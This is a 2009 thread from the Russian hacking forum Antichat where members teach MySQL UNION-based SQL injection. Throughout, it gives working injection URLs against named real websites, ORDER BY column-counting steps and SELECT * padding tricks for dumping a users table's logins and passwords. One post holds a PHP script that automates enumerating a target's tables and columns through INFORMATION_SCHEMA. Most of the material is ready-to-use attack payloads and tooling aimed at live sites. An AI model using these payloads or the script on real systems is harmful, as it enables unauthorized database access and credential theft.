Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

09.01.2009, 20:26
|
|
Познающий
Регистрация: 23.05.2008
Сообщений: 84
Провел на форуме: 192463
Репутация:
97
|
|
jokester
Спасибо конечно за статью, но я только ещё больше запутался...
Сообщение от jokester
Вывод:
http://presscenter.kz/index.php?show=news&id=-1+union+select+concat(0x3a3a3a3a,Version()),2,3,4, 5,6,7,8,9/*
почему 9 полей и конкатенация 2х запросов (0x3a3a3a3a,Version()) ?
если, как ты писал в статье
+order+by+5/*
Вывод
+order+by+6/*
Unknown column '6' in 'order clause'
а допустим просто Version() или concat(version()) не работает.
Вот непонял я этого...
Можешь тут подробнее, как пришёл к этому, плз ?
|
|
|

09.01.2009, 20:53
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Imperou$ Конкретно эту скуль я взял для примера, первое что попалось, но объяснить конечно могу
Смотри что получается при таком запросе:
http://presscenter.kz/index.php?show=news&id=1+order+by+5/*
Есть нормальный вывод, вот так:
http://presscenter.kz/index.php?show=news&id=1+order+by+6/*
Ошибка
Предполагаем, что полей 5 и пробуем вывод:
http://presscenter.kz/index.php?show=news&id=1+union+select+1,2,3,4,5/*
The used SELECT statements have a different number of columns
Но ордер показывал 5 полей, значит запрос не один.
Можно просто сделать перебор с помощью union+select(до вывода, или каких нибуть изменений), но конкретно в этом случае, есть другой способ
ставим отрицательное значение:
http://presscenter.kz/index.php?show=news&id=-1+order+by+1/*
редирект
http://presscenter.kz/index.php?show=news&id=-1+order+by+10/*
Unknown column '10' in 'order clause'
http://presscenter.kz/index.php?show=news&id=-1+order+by+9/*
редирект
Вот и второй запрос нарисовался )
А concat и 0x3a3a3a3a, это просто вывод хреновый(именно сдесь), и без этого ты не увидишь значение, можешь сюда что хочешь записать, что-бы сместить 
|
|
|

10.01.2009, 19:06
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
2 jokester вот только ты не учел конструкцию, типа:
Код:
$sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id";
$res=mysql_query($sql) or die();
$sql1="SELECT title, date FROM news WHERE id=$id";
$res1=mysql_query($sql1) or die();
echo(а здесь типа вывод результатов);
В таком случае, если в первом запросе будет ошибка, то второй запрос уже не выполнится пусть даже он и будет правильным, а если выполнится первый, но не выполнится второй, то результат будет таким же - хрен чего увидишь)
Это сильно зависит от конструкции скрипта.
|
|
|

16.01.2009, 01:08
|
|
Участник форума
Регистрация: 22.10.2007
Сообщений: 119
Провел на форуме: 598447
Репутация:
123
|
|
ПОмогите разобраться с полезным скриптом на примере данного ниже сайта. Что и как правильно ввести. С меня хоть и небольшой,) но плюс.
http://acad.coloradocollege.edu/dept/en/story.php?id=-47+union+select+1,version(),3,4,5,6,7,8--
PHP код:
<?php
$set['b']='121212';//Что находится перед выводиомй инфой
$set['e']='212121';//Что находится после выводимой инфы
$set['u']='http://test/news.php?id=';//URL с узвимым параметров В КОНЦЕ(!)
$set['z']='-1 UNION SELECT CONCAT(0x313231323132,TABLE_NAME, 0x2D, COLUMN_NAME, 0x323132313231) FROM INFORMATION_SCHEMA.COLUMNS LIMIT +++counter+++,1/*';//Уязвимый параметр
$set['c']='+++counter+++';//Строка счетчика
$set['f']='0';//Начальное значение счетчика
$set['s']='500';//Конечное значение счетчика
$set['h']='test';//Хост
if(!empty($_GET['b']))$set['b']=$_GET['b'];
if(!empty($_GET['e']))$set['e']=$_GET['e'];
if(!empty($_GET['u']))$set['u']=$_GET['u'];
if(!empty($_GET['z']))$set['z']=$_GET['z'];
if(!empty($_GET['c']))$set['c']=$_GET['c'];
if(!empty($_GET['f']))$set['f']=$_GET['f'];
if(!empty($_GET['s']))$set['s']=$_GET['s'];
if(!empty($_GET['h']))$set['h']=$_GET['h'];
for($i=$set['f'];$i<=$set['s'];$i++)
{
$zapros=str_replace($set['c'],$i,$set['z']);//Изменияем счетчик в уязвимом параметре
//Создаем пакет
$header="GET ".$set['u'].urlencode($zapros)." HTTP/1.0\r\n";
$header.="Accept-Language: en-us,en;q=0.5\r\n";
$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
$header.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$header.="Connection: keep-alive\r\n";
$header.="Cookie: PHPSESSID=028df047751bfc9a2ee18204eb2d5595\r\n";
$header.='Cookie2: $Version=1'."\r\n";
$header.="Host: ".$set['h']."\r\n\r\n";
$dt="";
$fp=fsockopen($set['h'], 80);
fwrite($fp, $header);
while(!feof($fp)) $dt.=fread($fp, 1024);
fclose($fp);
//Вырезаем необходимую инфу
$dt=substr($dt,strpos($dt,$set['b'])+strlen($set['b']));
$dt=substr($dt,0,strpos($dt,$set['e']));
//Выводим инфу на экран
echo($dt."\r\n");
flush();
}
?>
|
|
|

27.01.2009, 21:00
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
|
|
|
Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL 4.1.x |

24.02.2009, 08:04
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL 4.1.x
Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL => 4.1.0
Вроде, описания подобного трюка тут еще небыло...
Допустим, имеется SQL-инъекция:
Код:
?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+users
Имеется вывод нескольких полей. И при этом, никак не получается подобрать имена колонок таблицы users. Как решить эту проблему?
На самом деле, при написании запроса писать названия столбцов не обязательно - ведь можно вывести их все с помощью знака "*".
Тут возникает необходимое условие: количество столбцов, которое извлекает запрос, в который мы вндряем инъекцию, должно быть больше или равно общему количеству столбцов в таблице users.
Например, пусть в users 8 столбцов. Тогда нам необходимо дополнить их еще пятью, чтоб не было ошибки "different number of columns". Сделать это можно, например, так:
Код:
?id=-1+union+select+*+from+users,(select+1,2,3,4,5)x
Т.е. 8 столбцов таблицы users будут дополнены пятью из таблицы x.
Обычно, далеко не все получаемые запросом поля выводятся, поэтому не факт, что нам выведется именно нужная полезная информация (логин, пасс) из users. Но мы можем сделать в данном случае еще ряд запросов, чтоб попробовать все-таки получить нужную инфу:
Код:
?id=-1+union+select+*+from+(select+1)y,users,(select+1,2,3,4)x
?id=-1+union+select+*+from+(select+1,2)y,users,(select+1,2,3)x
?id=-1+union+select+*+from+(select+1,2,3)y,users,(select+1,2)x
?id=-1+union+select+*+from+(select+1,2,3,4)y,users,(select+1)x
?id=-1+union+select+*+from+(select+1,2,3,4,5)x,users
Последний раз редактировалось cr0w; 25.02.2009 в 17:06..
Причина: грамматика (:
|
|
|

25.02.2009, 14:40
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Всё же статья для новичков, поэтому счёл своим долгом поправить cr0w, а то материал как-то странно подан
Сообщение от cr0w
Имеется вывод нескольких полей
Это зачем?
Сообщение от cr0w
Обычно, далеко не все получаемые запросом поля выводятся, поэтому не факт, что нам выведется именно нужная полезная информация
А это почему? Зависит от расположения меркурия в венере?
=======================================
Вот вывод ВСЕЙ информации из users в которой 5 полей, через ОДНО принтабельное поле.
Допустим: инъекция, 14 полей , вывод в 6. Поехали:
?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
Подбираем количество полей в users:
?id=-1+union+select+*+from+users,(select+1)a
?id=-1+union+select+*+from+users,(select+1,2)a
?id=-1+union+select+*+from+users,(select+1,2,3)a
.....
?id=-1+union+select+*+from+users,(select+1,2,3,4,5,6,7, 8,9)a
Есть
У нас получилось искомые 14 полей - 9 из таблицы "а", значит в users полей 5
Выводим. Принтабельное поле 6 значит под него нужно подгонять вывод.
?id=-1+union+select+*+from+(select+1,2,3,4,5)b,users,(s elect+1,2,3,4)a
Вывод 1-го поля из таблицы users. Тоесть фактически выбираем из 3 таблиц "b","users" и "a". Первые 5 полей в которых нет вывода забиваем таблицей "b", затем в принтабельное 6 поле выводим 1-е поле из users , далее идут остальные 4 поля users и наконец, что-бы добить до 14 , 4 поля из "a".
Далее, 2-е поле из users. Смещаем:
?id=-1+union+select+*+from+(select+1,2,3,4)b,users,(sel ect+1,2,3,4,5)a
3-е поле
?id=-1+union+select+*+from+(select+1,2,3)b,users,(selec t+1,2,3,4,5,6)a
4-е и 5-е
?id=-1+union+select+*+from+(select+1,2)b,users,(select+ 1,2,3,4,5,6,7)a
?id=-1+union+select+*+from+(select+1)b,users,(select+1, 2,3,4,5,6,7,8)a
Вот как это выглядит наглядно:
1 2 3 4 5 | 6 7 8 9 0 | 11 12 13 14
( "b" ) |users 5 столбцов | ("a")
<= и двигаем users туда сюда => 
Ну и другой пример, с принтабельными двумя и невозможностью вывода всей инфы этим способом.
Допустим : те-же 14 полей, та-же users c 5 полями, но вывод в 1 и 14
?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
Сдесь мы сможем вывести только 1-е и 5-е поле из users. Тоесть:
?id=-1+union+select+*+from+users,(select+1,2,3,4,5,6,7, 8,9)a
первое, и дальше мы её не сдвинем, и последнее:
?id=-1+union+select+*+from+(select+1,2,3,4,5,6,7,8,9)a, users
Выводы: что-бы воспользоваться этим способом, нам не нужно несколько принтабельных полей, достаточно одного, но удачно расположенного и тогда возможно вывести все данные из интересующей таблицы. Зависимость этого метода от количества полей в запросе, количества полей в выводимой таблице и расположения принтабельного поля
PS Я тут не рассматривал варианты с выводом в цикле и другую экзотику, просто поправил и надеюсь более доступно довёл только ту информацию которую предоставил cr0w
|
|
|

25.02.2009, 17:03
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
Сообщение от jokester
Всё же статья для новичков, поэтому счёл своим долгом поправить cr0w, а то материал как-то странно подан 
Ну чтож, привыкайте к такой "странной" подаче материалов от меня. (:
И да, как мне справедливо заметили уже, это будет работать в версиях => 4.1.х. Кто придумает аналогичный способ для 4.0.х, тому - большой хенкерный респект. (:
|
|
|

25.02.2009, 19:52
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме: 14023893
Репутация:
2163
|
|
Кто придумает аналогичный способ для 4.0.х, тому - большой хенкерный респект. (:
можно обойтись и без подзапросов,
1=2 union select *,2,3,4,5,6,7,8 from users
=>4.0 
Последний раз редактировалось l1ght; 25.02.2009 в 20:03..
|
|
|

25.02.2009, 22:56
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
Сообщение от l1ght
можно обойтись и без подзапросов,
1=2 union select *,2,3,4,5,6,7,8 from users
=>4.0 
Да, можно и так, но тут уже нет возможности поперемещать выводимые даные, поэтому способ не совсем аналогичный по своим возможностям (и вообще, это старый боян). Поэтому вам достается пока только маленький хенкерный респект. (:
Последний раз редактировалось cr0w; 25.02.2009 в 23:08..
|
|
|
|
 |
|
TEST QR: []
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|